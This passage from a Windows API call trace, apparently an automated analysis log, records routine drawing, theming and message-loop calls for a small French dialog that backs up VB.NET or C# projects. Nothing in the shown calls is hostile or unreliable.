(graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0261.349] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0261.349] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0261.349] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0261.349] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0261.350] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0261.350] LocalFree (hMem=0x4fa4c70) returned 0x0 [0261.350] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0261.350] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0261.350] LocalFree (hMem=0x4fa4c70) returned 0x0 [0261.350] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0261.350] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0261.350] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0261.350] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0261.350] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0261.350] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0261.350] GetCurrentObject (hdc=0x710106a3, type=0x1) returned 0x1b00017 [0261.350] GetCurrentObject (hdc=0x710106a3, type=0x2) returned 0x1900010 [0261.350] GetCurrentObject (hdc=0x710106a3, type=0x7) returned 0xa0506be [0261.350] GetCurrentObject (hdc=0x710106a3, type=0x6) returned 0x18a002e [0261.350] SaveDC (hdc=0x710106a3) returned 1 [0261.350] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x930401e4 [0261.350] GetClipRgn (hdc=0x710106a3, hrgn=0x930401e4) returned 0 [0261.350] SelectClipRgn (hdc=0x710106a3, hrgn=0xba040221) returned 2 [0261.350] DeleteObject (ho=0x930401e4) returned 1 [0261.350] DeleteObject (ho=0xba040221) returned 1 [0261.351] OffsetViewportOrgEx (in: hdc=0x710106a3, x=0, y=0, lppt=0x24e0380 | out: lppt=0x24e0380) returned 1 [0261.351] IsAppThemed () returned 0x1 [0261.351] GetThemeAppProperties () returned 0x3 [0261.351] GetThemeAppProperties () returned 0x3 [0261.351] DrawThemeBackground () returned 0x0 [0261.351] RestoreDC (hdc=0x710106a3, nSavedDC=-1) returned 1 [0261.351] GdipReleaseDC (graphics=0x4da5930, hdc=0x710106a3) returned 0x0 [0261.351] GdipCreateRegion (region=0x52e790) returned 0x0 [0261.351] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0261.351] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0261.351] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0261.351] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0261.351] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0261.351] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0261.351] LocalFree (hMem=0x4fa4c70) returned 0x0 [0261.351] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0261.351] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0261.351] LocalFree (hMem=0x4fa4c70) returned 0x0 [0261.351] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0261.351] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0261.351] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0261.351] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0261.351] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0261.352] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0261.352] GetCurrentObject (hdc=0x710106a3, type=0x1) returned 0x1b00017 [0261.352] GetCurrentObject (hdc=0x710106a3, type=0x2) returned 0x1900010 [0261.352] GetCurrentObject (hdc=0x710106a3, type=0x7) returned 0xa0506be [0261.352] GetCurrentObject (hdc=0x710106a3, type=0x6) returned 0x18a002e [0261.352] SaveDC (hdc=0x710106a3) returned 1 [0261.352] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xbb040221 [0261.352] GetClipRgn (hdc=0x710106a3, hrgn=0xbb040221) returned 0 [0261.352] SelectClipRgn (hdc=0x710106a3, hrgn=0x940401e4) returned 2 [0261.352] DeleteObject (ho=0xbb040221) returned 1 [0261.352] DeleteObject (ho=0x940401e4) returned 1 [0261.352] OffsetViewportOrgEx (in: hdc=0x710106a3, x=0, y=0, lppt=0x24e0654 | out: lppt=0x24e0654) returned 1 [0261.352] IsAppThemed () returned 0x1 [0261.352] GetThemeAppProperties () returned 0x3 [0261.352] GetThemeAppProperties () returned 0x3 [0261.352] GetThemeBackgroundContentRect () returned 0x0 [0261.352] RestoreDC (hdc=0x710106a3, nSavedDC=-1) returned 1 [0261.352] GdipReleaseDC (graphics=0x4da5930, hdc=0x710106a3) returned 0x0 [0261.352] IsAppThemed () returned 0x1 [0261.352] GetThemeAppProperties () returned 0x3 [0261.352] GetThemeAppProperties () returned 0x3 [0261.352] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0261.353] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0261.353] GetCurrentObject (hdc=0x710106a3, type=0x1) returned 0x1b00017 [0261.361] GetCurrentObject (hdc=0x710106a3, type=0x2) returned 0x1900010 [0261.361] GetCurrentObject (hdc=0x710106a3, type=0x7) returned 0xa0506be [0261.361] GetCurrentObject (hdc=0x710106a3, type=0x6) returned 0x18a002e [0261.361] SaveDC (hdc=0x710106a3) returned 1 [0261.361] GetTextAlign (hdc=0x710106a3) returned 0x0 [0261.361] GetTextColor (hdc=0x710106a3) returned 0x0 [0261.361] GetCurrentObject (hdc=0x710106a3, type=0x6) returned 0x18a002e [0261.361] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0261.361] SelectObject (hdc=0x710106a3, h=0xc0a01e7) returned 0x18a002e [0261.361] GetBkMode (hdc=0x710106a3) returned 2 [0261.361] SetBkMode (hdc=0x710106a3, mode=1) returned 2 [0261.361] DrawTextExW (in: hdc=0x710106a3, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x24e09e8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0261.361] DrawTextExW (in: hdc=0x710106a3, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x24e09e8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0261.362] RestoreDC (hdc=0x710106a3, nSavedDC=-1) returned 1 [0261.362] GdipReleaseDC (graphics=0x4da5930, hdc=0x710106a3) returned 0x0 [0261.362] GetFocus () returned 0x0 [0261.362] IsAppThemed () returned 0x1 [0261.362] GetThemeAppProperties () returned 0x3 [0261.362] GetThemeAppProperties () returned 0x3 [0261.362] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0261.362] BitBlt (hdc=0x701068c, x=0, y=0, cx=163, cy=29, hdcSrc=0x710106a3, x1=0, y1=0, rop=0xcc0020) returned 1 [0261.362] GdipReleaseDC (graphics=0x4da5930, hdc=0x710106a3) returned 0x0 [0261.362] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0261.362] SelectObject (hdc=0x710106a3, h=0x185000f) returned 0xa0506be [0261.362] DeleteDC (hdc=0x710106a3) returned 1 [0261.362] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0261.362] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0261.363] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0261.363] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0261.363] WaitMessage () returned 1 [0261.514] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0261.514] IsWindowUnicode (hWnd=0x101a4) returned 1 [0261.514] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0261.514] TranslateMessage (lpMsg=0x52ef98) returned 0 [0261.514] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0261.514] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0261.514] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0261.514] WaitMessage () returned 1 [0261.660] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0261.660] IsWindowUnicode (hWnd=0x101a6) returned 1 [0261.660] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0261.660] TranslateMessage (lpMsg=0x52ef98) returned 0 [0261.660] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0261.660] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0261.660] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0261.660] WaitMessage () returned 1 [0262.596] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0262.597] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0262.597] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0262.672] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0262.672] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0262.672] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0262.672] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0262.673] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0262.674] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0262.674] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0262.674] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0262.674] NtdllDefWindowProc_W () returned 0x0 [0262.674] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0262.913] GetFocus () returned 0x0 [0262.913] SetFocus (hWnd=0x10186) returned 0x0 [0262.913] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0262.913] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0262.914] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0262.914] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0262.914] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0262.914] GetStockObject (i=5) returned 0x1900015 [0262.914] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0262.914] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xd, wParam=0x1a, lParam=0x69a148) returned 0x19 [0262.914] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65926) returned 0x10186 [0262.914] SendMessageW (hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0262.914] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0262.914] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0262.915] IsWindowUnicode (hWnd=0x10186) returned 1 [0262.915] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0262.915] TranslateMessage (lpMsg=0x52ef98) returned 0 [0262.915] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0262.915] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0262.915] IsWindowUnicode (hWnd=0x10186) returned 1 [0262.915] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0262.915] GetKeyState (nVirtKey=16) returned 0 [0262.915] GetKeyState (nVirtKey=17) returned 0 [0262.915] GetKeyState (nVirtKey=18) returned -128 [0262.915] TranslateMessage (lpMsg=0x52ef98) returned 1 [0262.915] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0262.915] GetKeyState (nVirtKey=16) returned 0 [0262.915] GetKeyState (nVirtKey=17) returned 0 [0262.915] GetKeyState (nVirtKey=18) returned -128 [0262.915] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0262.915] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0262.915] IsWindowUnicode (hWnd=0x10186) returned 1 [0262.915] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0262.915] GetKeyState (nVirtKey=16) returned 0 [0262.915] GetKeyState (nVirtKey=17) returned 0 [0262.915] GetKeyState (nVirtKey=18) returned 0 [0262.915] TranslateMessage (lpMsg=0x52ef98) returned 1 [0262.915] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0262.915] GetKeyState (nVirtKey=16) returned 0 [0262.915] GetKeyState (nVirtKey=17) returned 0 [0262.915] GetKeyState (nVirtKey=18) returned 0 [0262.915] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0262.915] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0262.915] IsWindowUnicode (hWnd=0x10186) returned 1 [0262.915] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0262.916] TranslateMessage (lpMsg=0x52ef98) returned 0 [0262.916] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0262.916] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x60106b7 [0262.916] SelectPalette (hdc=0x60106b7, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0262.916] CreateCompatibleDC (hdc=0x60106b7) returned 0x1a0101b3 [0262.916] SelectObject (hdc=0x1a0101b3, h=0xa0506be) returned 0x185000f [0262.916] GdipCreateFromHDC (hdc=0x1a0101b3, graphics=0x52ea94) returned 0x0 [0262.916] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0262.916] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0262.916] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0262.916] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0262.916] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0262.916] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4e30 [0262.916] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4e30) returned 0x0 [0262.916] LocalFree (hMem=0x4fa4e30) returned 0x0 [0262.916] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0262.916] GdipCreateRegion (region=0x52eadc) returned 0x0 [0262.916] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0262.916] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0262.917] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0262.917] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd830dbd) returned 0x0 [0262.917] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0262.917] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0262.917] GetCurrentObject (hdc=0x1a0101b3, type=0x1) returned 0x1b00017 [0262.917] GetCurrentObject (hdc=0x1a0101b3, type=0x2) returned 0x1900010 [0262.917] GetCurrentObject (hdc=0x1a0101b3, type=0x7) returned 0xa0506be [0262.917] GetCurrentObject (hdc=0x1a0101b3, type=0x6) returned 0x18a002e [0262.917] SaveDC (hdc=0x1a0101b3) returned 1 [0262.917] GetNearestColor (hdc=0x1a0101b3, color=0xf0f0f0) returned 0xf0f0f0 [0262.917] GetNearestColor (hdc=0x1a0101b3, color=0xa0a0a0) returned 0xa0a0a0 [0262.917] GetNearestColor (hdc=0x1a0101b3, color=0x696969) returned 0x696969 [0262.917] GetNearestColor (hdc=0x1a0101b3, color=0xa0a0a0) returned 0xa0a0a0 [0262.917] GetNearestColor (hdc=0x1a0101b3, color=0x0) returned 0x0 [0262.917] GetNearestColor (hdc=0x1a0101b3, color=0xffffff) returned 0xffffff [0262.917] GetNearestColor (hdc=0x1a0101b3, color=0xe5e5e5) returned 0xe5e5e5 [0262.917] GetNearestColor (hdc=0x1a0101b3, color=0xd7d7d7) returned 0xd7d7d7 [0262.917] GetNearestColor (hdc=0x1a0101b3, color=0x0) returned 0x0 [0262.918] RestoreDC (hdc=0x1a0101b3, nSavedDC=-1) returned 1 [0262.918] GdipReleaseDC (graphics=0x4da5930, hdc=0x1a0101b3) returned 0x0 [0262.918] IsAppThemed () returned 0x1 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] IsAppThemed () returned 0x1 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x2487248 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0262.918] IsAppThemed () returned 0x1 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] IsAppThemed () returned 0x1 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] GetFocus () returned 0x10186 [0262.918] IsAppThemed () returned 0x1 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] IsAppThemed () returned 0x1 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] IsThemePartDefined () returned 0x1 [0262.918] IsAppThemed () returned 0x1 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] GetThemeAppProperties () returned 0x3 [0262.918] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0262.918] IsAppThemed () returned 0x1 [0262.919] GetThemeAppProperties () returned 0x3 [0262.919] GetThemeAppProperties () returned 0x3 [0262.919] IsAppThemed () returned 0x1 [0262.919] GetThemeAppProperties () returned 0x3 [0262.919] GetThemeAppProperties () returned 0x3 [0262.919] IsThemePartDefined () returned 0x1 [0262.919] GdipCreateRegion (region=0x52e804) returned 0x0 [0262.919] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0262.919] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0262.919] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0262.919] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0262.919] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4e30 [0262.919] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4e30) returned 0x0 [0262.919] LocalFree (hMem=0x4fa4e30) returned 0x0 [0262.919] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4e30 [0262.919] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4e30) returned 0x0 [0262.919] LocalFree (hMem=0x4fa4e30) returned 0x0 [0262.919] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0262.919] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0262.919] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0262.919] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0262.919] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0262.919] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0262.919] GetCurrentObject (hdc=0x1a0101b3, type=0x1) returned 0x1b00017 [0262.920] GetCurrentObject (hdc=0x1a0101b3, type=0x2) returned 0x1900010 [0262.920] GetCurrentObject (hdc=0x1a0101b3, type=0x7) returned 0xa0506be [0262.920] GetCurrentObject (hdc=0x1a0101b3, type=0x6) returned 0x18a002e [0262.920] SaveDC (hdc=0x1a0101b3) returned 1 [0262.920] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x950401e4 [0262.920] GetClipRgn (hdc=0x1a0101b3, hrgn=0x950401e4) returned 0 [0262.920] SelectClipRgn (hdc=0x1a0101b3, hrgn=0xc2040221) returned 2 [0262.920] DeleteObject (ho=0x950401e4) returned 1 [0262.920] DeleteObject (ho=0xc2040221) returned 1 [0262.920] OffsetViewportOrgEx (in: hdc=0x1a0101b3, x=0, y=0, lppt=0x24878f8 | out: lppt=0x24878f8) returned 1 [0262.920] DrawThemeParentBackground () returned 0x0 [0262.920] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0262.920] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0262.920] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0262.920] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0262.920] GetSystemMetrics (nIndex=42) returned 0 [0262.920] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0262.920] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0262.920] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0262.920] GetCurrentObject (hdc=0x1a0101b3, type=0x1) returned 0x1b00017 [0262.920] GetCurrentObject (hdc=0x1a0101b3, type=0x2) returned 0x1900010 [0262.921] GetCurrentObject (hdc=0x1a0101b3, type=0x7) returned 0xa0506be [0262.921] GetCurrentObject (hdc=0x1a0101b3, type=0x6) returned 0x18a002e [0262.921] SaveDC (hdc=0x1a0101b3) returned 2 [0262.921] GetNearestColor (hdc=0x1a0101b3, color=0xf0f0f0) returned 0xf0f0f0 [0262.921] CreateSolidBrush (color=0xf0f0f0) returned 0x311006b3 [0262.921] FillRect (hDC=0x1a0101b3, lprc=0x52e314, hbr=0x311006b3) returned 1 [0262.921] DeleteObject (ho=0x311006b3) returned 1 [0262.921] RestoreDC (hdc=0x1a0101b3, nSavedDC=-1) returned 1 [0262.921] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0262.921] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0262.921] GetSystemMetrics (nIndex=42) returned 0 [0262.921] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0262.921] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0262.921] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0262.921] GetCurrentObject (hdc=0x1a0101b3, type=0x1) returned 0x1b00017 [0262.921] GetCurrentObject (hdc=0x1a0101b3, type=0x2) returned 0x1900010 [0262.921] GetCurrentObject (hdc=0x1a0101b3, type=0x7) returned 0xa0506be [0262.921] GetCurrentObject (hdc=0x1a0101b3, type=0x6) returned 0x18a002e [0262.922] SaveDC (hdc=0x1a0101b3) returned 2 [0262.922] GetNearestColor (hdc=0x1a0101b3, color=0xf0f0f0) returned 0xf0f0f0 [0262.922] CreateSolidBrush (color=0xf0f0f0) returned 0x321006b3 [0262.922] FillRect (hDC=0x1a0101b3, lprc=0x52e2b4, hbr=0x321006b3) returned 1 [0262.922] DeleteObject (ho=0x321006b3) returned 1 [0262.922] RestoreDC (hdc=0x1a0101b3, nSavedDC=-1) returned 1 [0262.922] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0262.922] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0262.922] GetSystemMetrics (nIndex=42) returned 0 [0262.922] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0262.922] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0262.922] RestoreDC (hdc=0x1a0101b3, nSavedDC=-1) returned 1 [0262.922] GdipReleaseDC (graphics=0x4da5930, hdc=0x1a0101b3) returned 0x0 [0262.922] IsAppThemed () returned 0x1 [0262.922] GetThemeAppProperties () returned 0x3 [0262.922] GetThemeAppProperties () returned 0x3 [0262.922] IsAppThemed () returned 0x1 [0262.922] GetThemeAppProperties () returned 0x3 [0262.922] GetThemeAppProperties () returned 0x3 [0262.922] IsThemePartDefined () returned 0x1 [0262.922] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0262.922] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0262.922] GdipCreateMatrix 